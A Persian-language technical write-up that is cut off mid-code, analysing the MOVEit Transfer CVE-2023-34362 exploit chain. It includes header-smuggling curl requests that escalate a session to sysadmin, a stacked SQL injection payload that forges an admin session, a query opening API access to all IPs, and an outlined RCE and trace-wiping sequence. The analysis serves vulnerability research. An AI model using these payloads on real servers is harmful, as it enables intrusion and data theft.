در قسمت اول این سری از پست ها، به بررسی کلی آسیب پذیری های اخیر MOVEit Transfer پرداختیم. در این پست به آنالیز آسیب پذیری CVE-2023-34362 پرداختیم که در حملات بعنوان زیرودی استفاده شده. در پست بعدی هم به نحوه استفاده از این آسیب پذیری در حملات پرداختیم.
آنالیز آسیب پذیری CVE-2023-34362 :
اکسپلویت این آسیب پذیری به دلیل اینکه چندین مورد رو باید در کنار هم قرار بدید ، یکمی پیچیده هستش، POC رو میتونید از این لینک مشاهده کنید. برای توسعه PoC ، از MOVEit Transfer version 2023.0.0 و از روش Patch Diffing برای آنالیز استفاده شده. این نسخه رو میتونید از کانالمون دانلود کنید.
با توجه به اینکه اغلب برنامه ها داخل اون دات نتی هستش از dotPeek یا ILSpy برای دیکامپایل کردن استفاده کردن و بعد از دیکامپایل ، نسخه آسیب پذیر رو با نسخه اصلاح شده مقایسه کردن تا نقاطی که تغییر کرده رو پیدا کنن. 2 مورد تغییر رو پیدا کردن که نقاط شروع خوبی رو بهشون داده. برای مقایسه میتونید از ابزار DiffMerge استفاده کنید.
مورد اول حذف تابع SetAllSessionVarsFromHeaders بوده که توسط machine2.aspx استفاده میشه :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
public bool SetAllSessionVarsFromHeaders(string ServerVars) { bool flag = true; string[] strArray = Strings.Split(ServerVars, "\r\n"); int num1 = Strings.Len("X-siLock-SessVar"); int num2 = Information.LBound((Array) strArray); int num3 = Information.UBound((Array) strArray); int index = num2; while (index <= num3) { if (Operators.CompareString(Strings.Left(strArray[index], num1), "X-siLock-SessVar", false) == 0) { int num4 = strArray[index].IndexOf(':', num1); if (num4 >= 0) { int num5 = strArray[index].IndexOf(':', checked (1 + num4)); if (num5 > 0) this.SetValue(strArray[index].Substring(checked (2 + num4), checked (num5 - num4 - 2)), (object) strArray[index].Substring(checked (2 + num5))); } } checked { ++index; } } return flag; } |
دومین مورد، یه تغییر در یه کوئری پیچیده SQL بوده که در چندین جا، مورد استفاده قرار گرفته :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
private void UserGetUsersWithEmailAddress( - ref ADORecordset MyRS, + ref IRecordset MyRS, string EmailAddress, string InstID, bool bJustEndUsers = false, bool bJustFirstEmail = false) { - object[] objArray; - bool[] flagArray; - object obj = NewLateBinding.LateGet((object) null, typeof (string), "Format", objArray = new object[4] + Func<string, string> func = new Func<string, string>(this.siGlobs.objWrap.Connection.FormatParameterName); + SQLBasicBuilder where = this._sqlBuilderUsers.SelectBuilder().AddColumnsToSelect("Username", "Permission", "LoginName", "Email").AddAndColumnEqualsToWhere<string>(nameof (InstID), InstID, true).AddAndColumnEqualsToWhere<int>("Deleted", 0); + if (bJustEndUsers) + where.AddAndColumnGreaterThanToWhere<int>("Permission", 10, true); + string str = this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress); + List<string> values = new List<string>() { - Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " "), Interaction.IIf(bJustEndUsers, (object) ("AND Permission>=" + Conversions.ToString(10) + " "), (object) "")), (object) "AND "), (object) "("), (object) "Email='{2}' OR "), (object) this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", bEscapeAndConvertMatchString: false)), Interaction.IIf(bJustFirstEmail, (object) "", (object) (" OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", bEscapeAndConvertMatchString: false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", bEscapeAndConvertMatchString: false)))), (object) ") "), (object) "ORDER BY LoginName"), - (object) InstID, - (object) this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress), - (object) EmailAddress - }, (string[]) null, (Type[]) null, flagArray = new bool[4] - { - false, - true, - false, - true - }); - if (flagArray[1]) - InstID = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string)); - if (flagArray[3]) - EmailAddress = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[3]), typeof (string)); - this.siGlobs.objWrap.DoReadQuery(Conversions.ToString(obj), ref MyRS, true); + string.Format("Email={0}", (object) func("Email")), + this.siGlobs.objUtility.BuildLikeForSQL("Email", func("FirstEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false) + }; + where.WithParameter("Email", (object) EmailAddress); + where.WithParameter("FirstEmail", (object) string.Format("{0},%", (object) str)); + if (!bJustFirstEmail) + { + values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("MiddleEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)); + values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("LastEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)); + where.WithParameter("MiddleEmail", (object) string.Format("%,{0},%", (object) str)); + where.WithParameter("LastEmail", (object) string.Format("%,{0}", (object) str)); + } + where.AddAndToWhere("(" + string.Join(" OR ", (IEnumerable<string>) values) + ")"); + where.AddColumnToOrderBy("LoginName", SQLBasicBuilder.OrderDirection.Ascending); + this.siGlobs.objWrap.DoReadQuery(where.GetQuery(), where.Parameters, ref MyRS, true); } |
با توجه به اینکه در گزارش، اشاره شده که آسیب پذیری از نوع SQLi هست، محتملترین مکان برای وجود و بررسی آسیب پذیری ، این قسمت ها میتونه باشه.
در ابتدا محققا رفتن سراغ پیلودهای SQLi ساده، اما متوجه شدن که قضیه به این سادگی ها نیست و پیچیده هستش.
Session injection
محققا مطمئن بودن که تابع SetAllSessionVarsFromHeaders بخشی از زنجیره عفونت هستش. دلیلش هم این بوده که این تابه متغییرهای session رو از هدرها تنظیم میکنه. اگه به کد این تابع نگاه کنید، کاری که میکنه اینه که key: value ها رو از هدر X-siLock-SessVar میخونه و فقط از طریق machine2.aspx در session_setvars transaction فراخوانی میشه.
محققا روی متغیرهای session مختلف کار کردن و یه پیلود توسعه دادن که تونسته session فعلی رو به sysadmin ارتقاء بده :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
C:\Users\Administrator>curl -ik -H "X-siLock-Transaction: session_setvars" -H "X-siLock-SessVar: MyPermission: 60" -b "ASP.NET_SessionId=lpsgatvdytabkv0udywleuqm" "https://localhost/machine2.aspx" HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain Server: Microsoft-IIS/10.0 X-siLock-ErrorCode: 0 X-siLock-FolderType: 0 X-siLock-InstID: 1884 X-siLock-Username: fp88r6zpmj24lad7 X-siLock-LoginName: test@test.com X-siLock-RealName: test@test.com X-siLock-IntegrityVerified: False X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Robots-Tag: noindex Date: Fri, 09 Jun 2023 18:15:57 GMT Content-Length: 0 |
مشکلی که وجود داشته اینه که ، machine2.aspx بصورت راه دور، قابل استفاده نیست :
1 2 3 4 |
$ curl -ik -H "X-siLock-Transaction: session_setvars" -H "X-siLock-SessVar: MyPermission: 60" -b "ASP.NET_SessionId=lpsgatvdytabkv0udywleuqm" "https://10.0.0.193/machine2.aspx" HTTP/2 200 [...] x-silock-errordescription: Remote access prohibited. |
محققا روی روش های مختلف برای دور زدن استفاده کردن، اما نتیجه ای نداشته.
Header smuggling :
با لاگهایی که از Rapid7 بدست آوردن، متوجه شدن که machine2.aspx توسط localhost (::1) واکشی میشه و بعد از زمان کمی از فراخوانی، یه نقطه پایانی ISAPI با پارامتر m2 به اون دسترسی داره :
1 2 |
"2023-05-31 POST /moveitisapi/moveitisapi.dll action=m2 443 "2023-05-31 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200 |
ماژول های ISAPI هندلرهایی هستن که به زبان های سطح پایین نوشته میشن و مستقیماً در فضای حافظه IIS بارگذاری میشن.
در ادامه محققا رفتن سراغ moveitisapi.dll و با توجه به اینکه ، در زبان سی پلاس توسعه داده شده، اونو با IDA بررسی کردن. با مهندسی معکوس، متوجه شدن، تنها اکشنی که باعث میشه، m2 ، درخواستهارو به machine2.aspx فوروارد کنه، folder_add_by_path هستش:
1 2 3 4 5 6 7 8 9 10 11 12 |
text:00007FF8698E0964 lea r8, [rbp+890h+silock_transaction_buffer_probably] ; header_buffer .text:00007FF8698E0968 lea rdx, header_name ; "X-siLock-Transaction" .text:00007FF8698E096F mov rcx, rbx ; void * .text:00007FF8698E0972 call get_header_probably ; <-- Get header .text:00007FF8698E0977 lea rdx, folder_add_by_path ; "folder_add_by_path" .text:00007FF8698E097E lea rcx, [rbp+890h+silock_transaction_buffer_probably] ; String1 .text:00007FF8698E0982 call _stricmp .text:00007FF8698E0987 xor esi, esi .text:00007FF8698E0989 test eax, eax .text:00007FF8698E098B jnz log_illegal_transaction ; Returns "Illegal transaction" in the header .text:00007FF8698E098B ; .text:00007FF8698E098B ; Transaction apparently must be "folder_add_by_path" |
در ادامه اومدن، کدهای دات نتی مرتبط با folder_add_by_path رو آنالیز و فاز کردن، اما چیز جالبی رو نتونستن کشف کنن.
در ادامه برای ساده تر کردن بررسی، یه ابزار در روبی توسعه دادن که در ادامه به عنوان PoC توسعه اش دادن :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
require 'httparty' require 'socket' require 'pp' TARGET = "https://#{ARGV[0] || '10.0.0.193'}" # Get an initial ASP.NET_SessionId token and also a siLockLongTermInstID. puts puts "Getting a session cookie..." r = HTTParty.get("#{TARGET}/", verify: false) cookies = r.get_fields('Set-Cookie').join('; ') puts "Cookies = #{cookies}" puts HTTParty.get( "#{TARGET}/moveitisapi/moveitisapi.dll?action=m2", verify: false, headers: { 'Cookie' => cookies, 'X-siLock-Transaction': 'folder_add_by_path', }, ).headers |
خروجی این کد روبی ، اینجوری بوده :
1 2 |
[...] {"server"=>["Microsoft-IIS/10.0"], "date"=>["Fri, 09 Jun 2023 18:30:54 GMT"], "connection"=>["close"], "x-silock-errorcode"=>["2320"], "x-silock-errordescription"=>["Invalid transaction ''"], "x-silock-foldertype"=>["0"], "x-silock-instid"=>["1884"], "x-silock-username"=>["Anonymous"], "x-silock-realname"=>["Anonymous"], "x-silock-integrityverified"=>["False"], "content-length"=>["0"]} |
اینجا بوده که محققا متوجه یه رفتار عجیب شدن. ماجرا هم اینجوری بوده که با توجه به لاگهای سرور، برنامه دات نتی هدر رو اینجوری میبینه :
1 |
X-Silock-Transaction: folder_add_by_path |
اما ISAPI ، با توجه به اینکه در ابتدا حروف بزرگ به کوچیک تبدیل میکنه، در نهایت هدر به صورت زیر می بینه:
1 |
X-siLock-Transaction: folder_add_by_path |
در نتیجه اگه به خروجی نگاه کنید، transaction بعنوان رشته خالی برگردونده. این حساس بودن به حروف بزرگ و کوچیک باعث میشه ما بتونیم هر دو شکل هدرها ، X-SILOCK-TRANSACTION و X-siLock-Transaction رو ارسال کنیم. با این کار ISAPI هر دو رو میبینه ، اما برنامه دات نتی فقط یکی رو میبینه.
نکته بعدی اینه که اگه ما دو تا هدر یکسان رو ارسال کنیم، ISAPI اونارو در یه هدر با هم ترکیب و با کاما از هم جدا میکنه. یعنی اگه ما folder_add_by_path و session_setvars رو بعنوان transaction بفرستیم، ISAPI اونارو بصورت folder_add_by_path, session_setvars درمیاره که این خوب نیست.
در ادامه محققا متوجه شدن که get_header_probably هم اهمیتی به جایی که نام هدر هست نمیده و هرجایی حتی در مقدار هم اونو تطابق میده.
بین حساس بودن به حروف بزرگ و کوچیک و عدم تطابق درست، محققا یه پیلودی رو پیدا کردن که تونسته یه transaction غیرمجاز رو از کد ISAPI عبور بده :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ curl -ik -b "ASP.NET_SessionId=0nisxf5zik0u5ircok2q2mb0" -H 'X-siLock-Test: abcdX-SILOCK-Transaction: folder_add_by_path' -H "X-siLock-Transaction: sessio n_setvars" -H "X-siLock-SessVar: MyPermission: 1000" 'https://10.0.0.193/moveitisapi/moveitisapi.dll?action=m2' HTTP/1.1 200 OK Server: Microsoft-IIS/10.0 Date: Fri, 09 Jun 2023 18:43:06 GMT Connection: close X-siLock-ErrorCode: 0 X-siLock-FolderType: 0 X-siLock-InstID: 1884 X-siLock-Username: fp88r6zpmj24lad7 X-siLock-LoginName: test@test.com X-siLock-RealName: test@test.com X-siLock-IntegrityVerified: False Content-Length: 0 |
همین پیلود منجر به افزایش امتیاز به sysadmin شده و اساسا همین برای اکسپلویت کافیه اما مهاجمان یه قدم هم جلو رفتن و از SQLi برای اکسپلویت استفاده کردن.
SQLi :
براساس لاگهای Rapid7 ، فایل بعدی درخواست شده بعد از تنظیم متغییرهای session، فایل guestaccess.aspx هستش. بنابراین این مکان خوبی برای ادامه جستجو هستش.
محققا با بررسی اصلاحیه، متوجه شدن که تابع UserGetUsersWithEmailAddress عملکرد جالبی داره و آسیب پذیره و بنابراین بررسی کردن که آیا میتونن از guestaccess.aspx به UserGetUsersWithEmailAddress برسن یا نه.
طبق بررسی اگه مراحل زیر اجرا بشه میشه از guestaccess.aspx به UserGetUsersWithEmailAddress رسید :
GetHTML()
(inSILGuestAccess.cs
)PerformAction()
(inSILGuestAccess.cs
)msgEngine.MsgPostForGuest()
(inMsgEngine.cs
)userEngine.UserGetSelfProvisionUserRecipsWithEmailAddress()
(inUserEngine.cs
)UserGetUsersWithEmailAddress()
(inUserEngine.cs
)
اما برای اینکه این توابع رو بصورت دنباله ای داشته باشیم، باید یسری تنظیمات روشون انجام بدیم .
اغلب guestaccess.aspx برای کاربران میهان ،برای دانلود فایلهایی که توسط یه کاربر ثبت نام شده قرار گرفته، مورد استفاده قرار میگیره. اما مشکل اینجاست که ما نه کاربر ثبت نامی داریم و نه فایلی برای دانلود. اما در نزیکی تابع GetHTML در فایل SILGuestAccess.cs ما یه فراخوانی جالب داریم :
1 |
this.m_pkginfo.LoadFromSession() |
با توجه به اینکه ما میتونیم از طریق session_setvars خرابکاری کنیم، بنابراین بررسی این تابع ، میتونه کمک کننده باشه :
1 2 3 4 5 6 7 8 9 10 11 |
public void LoadFromSession() { this.AccessCode = this.siGlobs.objSession.GetValue("MyPkgAccessCode"); this.ValidationCode = this.siGlobs.objSession.GetValue("MyPkgValidationCode"); this.PkgID = this.siGlobs.objSession.GetValue("MyPkgID"); this.EmailAddr = this.siGlobs.objSession.GetValue("MyGuestEmailAddr"); this.InstID = this.siGlobs.objSession.GetValue("MyPkgInstID"); this.IsSelfProvisioned = Operators.CompareString(this.PkgID, "0", false) == 0; this.SelfProvisionedRecips = this.siGlobs.objSession.GetValue("MyPkgSelfProvisionedRecips"); this.Viewed = -(SILUtility.StrToBool(this.siGlobs.objSession.GetValue("MyPkgViewed")) ? 1 : 0); } |
با استفاده از session_setvars transaction و کد header-injection بالا، ما میتونیم هر یک از این مقادیر رو به مقدار دلخواه خودمون تغیر بدیم. یعنی اینکه ما میتونیم یه فایلی که وجود نداره رو برای دانلود ایجاد کنیم. یه مثال از این مورد به این صورت هستش :
1 2 3 4 5 6 7 |
set_session(cookies, { 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 'MyPkgID' => '0', # Is self provisioned? (must be 0 for the exploit to work) 'MyGuestEmailAddr' => 'test@test.com', # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs 'MyPkgInstID' => '1234', # this can be any int value 'MyPkgSelfProvisionedRecips' => 'recip@recip.com', }) |
بعد از این مرحله ما دو تا مشکل دارم. یکی اینکه باید نام کاربری ما Guest باشه در غیر اینصورت session بسته میشه. بطور پیش فرض هم Anonymous هستیم.
1 2 3 4 5 6 7 8 9 |
if (Operators.CompareString(username, "Guest", false) == 0) // If username == Guest... { // [...] } else if (Operators.CompareString(username, "Anonymous", false) != 0 && Operators.CompareString(username, "", false) != 0) { this.siGlobs.objDebug.Log(20, "Found existing registered user session; clearing for guest use...."); this.siGlobs.objUser.RemoveSession(); } |
برای این مورد هم باید بریم سراغ دستکاری متغییرهای session و اینار باید MyUsername روی Guest تنظیم کنیم.
مشکل دوم هم اینه که ما باید یه توکن CSRF معتبر داشته باشیم ، اگه نداشته باشیم، خطا میگیریم :
1 2 3 4 5 |
if (Operators.CompareString(this.siGlobs.Transaction, "", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "dummy", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "msgpassword", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "signoff", false) != 0 && Operators.CompareString(this.siGlobs.objUtility.GetCT(), this.siGlobs.CsrfTokenIncoming, false) != 0) { this.siGlobs.objDebug.Log(50, "Invalid CsrfToken value; will not run the transaction."); this.SetWarningStatus(this.siGlobs.objI11N.GetMsg(20271)); } |
گرفتن توکن CSRF یکمی دشوار هستش. این کار باید بعد از تنظیم MyUsername روی Guest انجام بشه و نکته ای که هست اینه که اکثر صفحاتی که توکن های CSRF بر میگردونن، مثله human.aspx ، بلافاصله sessionهای guest رو پاک میکنن.
در نهایت محققا متوجه شدن که با تنظیم Transaction به dummy و Arg06 به هر چیزی و Arg12 به promptaccesscode در guestaccess.aspx ، یه فرمی با یه توکن CSRF قابل استفاده دریافت میکنن :
1 2 3 4 |
$ curl -ski 'https://10.0.0.193/guestaccess.aspx?Transaction=dummy&Arg06=accesscode&Arg12=promptaccesscode' | grep csrf [...] <input type="hidden" name="csrftoken" value="44ad7cfa2e1a73b7a636c0bb0f9ff8d8b8e4239d"> [...] |
بعد از اینکه MyUsername روی Guest و یه توکن CSRF تنظیم کردید ، بسته جعلی رو ایجاد میشه و دسترسی به تابع آسیب پذیر داریم. برای اطمینان از این امر، قابلیت لاگ گیری در MySQL رو بعد از لاگین کردن بعنوان کاربر root و اجرای دستورات زیر فعال میکنیم :
1 2 3 |
SET global log_output = 'FILE'; SET global general_log_file='mysql.log'; SET global general_log = 1; |
بعد از فعال کردن لاگ گیری، تمام مراحل بالا رو برای ایجاد بسته انجام بدید، نام کاربری رو روی Guest تنظیم کنید و در نهایت guestaccess.aspx رو با کوئری زیر درخواست کنید :
1 |
Arg06=accesscode&transaction=secmsgpost&Arg05=sendauto&csrftoken=<token>` |
اگه به فایل لاگ MySQL که در c:\MySQL\data\mysql.log
هست، نگاه کنیم، کوئری زیر رو میبینم :
1 |
2023-06-09T19:40:21.688213Z 36172 Query SELECT Username, Permission, LoginName, Email FROM users WHERE InstID=1234 AND Deleted=0 AND Permission>=10 AND (Email='recip@recip.com' OR `Email` LIKE 'recip@recip.com,%' OR `Email` LIKE '%,recip@recip.com' OR `Email` LIKE '%,recip@recip.com,%' ) ORDER BY LoginName |
در ادامه محققین recip@recip.com
رو به akb'testinjection
تغییر دادن :
1 2 3 4 5 6 7 8 |
set_session(cookies, { 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 'MyPkgID' => '0', # Is self provisioned? (must be 0) 'MyGuestEmailAddr' => 'test@test.com', # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs 'MyPkgInstID' => '1234', # this can be any int value 'MyPkgSelfProvisionedRecips' => "akb'testinjection", 'MyUsername' => 'Guest', }) |
بعدش دوباره توکن CSRF گرفتن و درخواست ارسال کردن. اینبار یه خطایی ایجاد شده که در لاگ های برنامه ، که بطور پیش فرض در C:\MOVEitTransfer\Logs\DMZ_WEB.log
هستش، قابل مشاهده هست :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
2023-06-09 12:42:44.049 #22 z10 DbConn.DoRead_DS: caught exception on statement 'SELECT Username, Permission, LoginName, Email FROM users WHERE InstID=1234 AND Deleted=0 AND Permission>=10 AND (Email='akb'testinjection' OR `Email` LIKE 'akb'testinjection,%' OR `Email` LIKE '%,akb'testinjection' OR `Email` LIKE '%,akb'testinjection,%' ) ORDER BY LoginName' 2023-06-09 12:42:44.049 #22 z10 DbConn.DoRead_DS: Caught exception MySqlException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'testinjection' OR `Email` LIKE 'akb'testinjection,%' OR `Email` LIKE '%,akb't' at line 1 2023-06-09 12:42:44.081 #22 z10 DbConn.DoRead_DS: Exception stack trace: at MySql.Data.MySqlClient.MySqlStream.ReadPacket() at MySql.Data.MySqlClient.NativeDriver.GetResult(Int32& affectedRow, Int64& insertedId) at MySql.Data.MySqlClient.Driver.NextResult(Int32 statementId, Boolean force) at MySql.Data.MySqlClient.MySqlDataReader.NextResult() at MySql.Data.MySqlClient.MySqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet) at MOVEit.DMZ.Core.DbConn.<>c__DisplayClass76_0.<DoRead_DS>g__LocalGetDataSet|0() at MOVEit.DMZ.Core.DbConn.ExecuteSqlActionWithRetry[T](Func`1 dbAction, Action`3 onRetryAction) at MOVEit.DMZ.Core.DbConn.DoRead_DS(DbConnection conn, String query, Dictionary`2 parameters, String& reason) |
تسلیح SQLi :
محققا برای اینکه بتونن، این آسیب پذیری رو تبدیل به سلاح کنن، پیلود زیر رو توسعه دادن. در این پیلود ، با توجه به اینکه امکان استفاده از کاما در درخواست نیست از UPDATE های متعدد استفاده شده .
1 |
a@a.com');INSERT INTO activesessions (SessionID) values ('rd0szzmafyxku5msjbbskx0h');UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET LoginName='test@test.com' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET RealName='test@test.com' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET InstId='1234' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET IpAddress='10.0.0.227' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET LastTouch='2099-06-10 09:30:00' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET DMZInterface='10' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET Timeout='60' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET ResilNode='10' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET AcctReady='1' WHERE SessionID='rd0szzmafyxku5msjbbskx0h'# |
کارش هم اینه که یه ردیف بصورت زیر در جدول activesessions ایجاد میکنه :
1 2 3 4 5 6 |
mysql> select * from activesessions where sessionid='rd0szzmafyxku5msjbbskx0h'; +------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+ | ID | Username | LoginName | RealName | InstID | ActAsInstID | IPAddress | LastTouch | SessionID | DMZInterface | Remove | Refresh | RefreshAuthTabs | Timeout | ResilNode | Cert | GuestAccessCode | UsingSiteMinder | SAMLIdPID | SAMLNameID | SAMLNameIDXML | SAMLSessionIndex | AcctReady | InterfaceCode | +------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+ | 6195 | 6qt2vnlopc1pgb77 | test@test.com | test@test.com | 1234 | NULL | 10.0.0.227 | 2023-06-09 12:50:23 | rd0szzmafyxku5msjbbskx0h | 10 | 0 | 0 | 0 | 20 | 0 | | NULL | 0 | 0 | NULL | NULL | NULL | 1 | 0 | +------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+ |
با این کار ، مهاجم میتونه از human.aspx بازدید کنه و به برنامه با بالاترین امتیاز یعنی sysadmin دسترسی داشته باشه.
اجرای کد از راه دور :
تا اینجا ما یه آسیب پذیری SQLi داریم ولی در این مرحله میخواییم از این آسیب پذیری برای اجرای کد از راه دور بدون احرازهویت استفاده کنیم. مراحل کلی اجرای کد بصورت زیر هستش :
- از SQLi برای دسترسی از راه دور به REST API استفاده میکنیم.
- از SQLi برای ایجاد یه کاربر جدید sysadmin با پسوردی که میدونیم، استفاده میکنیم.
- از کاربر جدید sysadmin برای ورود به سیستم و بدست آوردن REST API access token استفاده میکنیم.
- از REST API برای شناسایی یه folder ID number استفاده میکنیم.
- از REST API برای آپلود یه فایل resumable در این فولدر استفاده میکنیم.
- از SQLi برای بدست آوردن کلید رمزنگاری سازمان (Organization) با InstID صفر استفاده میکنیم.
- یه NET deserialization gadget ایجاد میکنیم و اون رو با کلید رمزنگاری که قبلا بدست آوردیم، رمز میکنیم.
- از SQLi برای ذخیره deserialization gadget رمز شده در فیلد آپلود فایل resumable در دیتابیس استفاده میکنیم.
- از REST API برای از سرگیری آپلود فایل و راه اندازی deserialization استفاده میکنیم ، که به ما امکان RCE رو میده.
- از SQLi برای حذف تمام موارد اکسپلویت استفاده میکنیم. هدف از این مرحله پنهون کردن ردپاست
در ادامه بریم و این مراحل رو بررسی کنیم. خیلی خلاصه بخوایم سناریو رو مرور کنیم، یه تابع deserialization ناامن وجود داره، مهاجم میتونه با SQLi یه gadget مخرب بنویسه و بعدش با ارسال درخواست به نقطه پایانی، deserialization ناامن فراخونی کنه و RCE بگیره.
اجازه دسترسی از راه دور :
MOVEit Transfer دسترسی آدرس IP به REST API رو از طریق قوانین تعریف شده در جدول moveittransfer.hostpermits، همانطور که در زیر نشان داده شده ، اعمال میکنه. بنابراین اولین قدم برای اینکه بتونیم از راه دور به REST API دسترسی داشته باشیم، دستکاری این جدول هستش تا اجازه دسترسی به IPهای خارجی رو بده .
1 2 3 4 5 6 7 8 9 |
mysql> SELECT * FROM moveittransfer.hostpermits; +----+--------+------+---------+----------+---------------------+----------+----------------+ | ID | InstID | Rule | Host | PermitID | Comment | Priority | HostnameLookup | +----+--------+------+---------+----------+---------------------+----------+----------------+ | 1 | 10 | 1 | *.*.*.* | 16 | IP Lockout Wildcard | 99999 | NULL | | 2 | 8937 | 1 | 10.*.*.* | 4 | | 1 | NULL | | 3 | 8937 | 1 | 10.*.*.* | 3 | | 1 | NULL | +----+--------+------+---------+----------+---------------------+----------+----------------+ 3 rows in set (0.00 sec) |
برای این کار از کوئری زیر استفاده میکنیم :
1 |
UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*' |
ایجاد کاربر sysadmin :
در این مرحله IPهای خارجی امکان دسترسی به REST API دارن، اما برای اینکه بتونن به APIها دسترسی داشته باشن باید نام کاربری و پسورد مناسب داشته باشیم. با توجه به اینکه پسوردها در دیتابیس رمزنگاری شده و ذخیره میشن، باید مکانیسم رمزنگاری برنامه رو کشف کنیم.
این عمل توسط متد MOVEit.DMZ.Core.Cryptography.CheckPasswordHash انجام میشه که همونطور که مشاهده میکنیم از مکانیسم های مختلف برای هش کردن استفاده میکنه که اغلبشون از یه کلید رمزنگاری با عنوان Org Key استفاده میکنن که در این مرحله ما بعنوان مهاجم، اطلاعی در خصوصش نداریم.
یه مکانیسم هش قدیمی بنام MakeV0V1PasswordHash هم وجود داره که امکان ایجاد هش بدون کلید Org Key رو میده :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
public static ApplicationHashing.PasswordHashTestResult CheckPasswordHash( string password, string hashString, int orgId) { ApplicationHashing.PasswordHashTestResult passwordHashTestResult = ApplicationHashing.PasswordHashTestResult.Good; byte[] byteArray = ApplicationHashing.PasswordHashStringToByteArray(hashString); if ((int) byteArray[0] != byteArray.Length) throw new ArgumentException("Invalid password hash: hash length mismatch."); byte[] array1; byte[] second; switch (byteArray[1]) { case 0: passwordHashTestResult = ApplicationHashing.PasswordHashTestResult.GoodButOld; byte[] numArray = new byte[0]; byte[] array2 = new ArraySegment<byte>(byteArray, 4, 4).ToArray<byte>(); array1 = new ArraySegment<byte>(byteArray, 8, byteArray.Length - 8).ToArray<byte>(); byte[] orgKey1 = numArray; // <---- org key will be empty string password1 = password; second = ApplicationHashing.MakeV0V1PasswordHash(array2, orgKey1, password1); // <---- break; // …snip… private static byte[] MakeV0V1PasswordHash(byte[] salt, byte[] orgKey, string password) { using (SerializableHashAlgorithm hashObject = Hashing.GetHashObject(Hashing.HashAlgorithms.Md5)) return ApplicationHashing.MakePasswordHash(salt, orgKey, MOVEit.DMZ.Core.Constants.AnsiEncoding.GetBytes(password), (HashAlgorithm) hashObject); } private static byte[] MakePasswordHash( byte[] salt, byte[] orgKey, byte[] password, HashAlgorithm algorithm) { byte[] secret1 = SecretProvider.GetSecret("pwpre"); algorithm.TransformBlock(secret1, 0, secret1.Length, secret1, 0); Array.Clear((Array) secret1, 0, secret1.Length); algorithm.TransformBlock(salt, 0, salt.Length, salt, 0); if (orgKey.Length != 0) algorithm.TransformBlock(orgKey, 0, orgKey.Length, orgKey, 0); algorithm.TransformBlock(password, 0, password.Length, password, 0); byte[] secret2 = 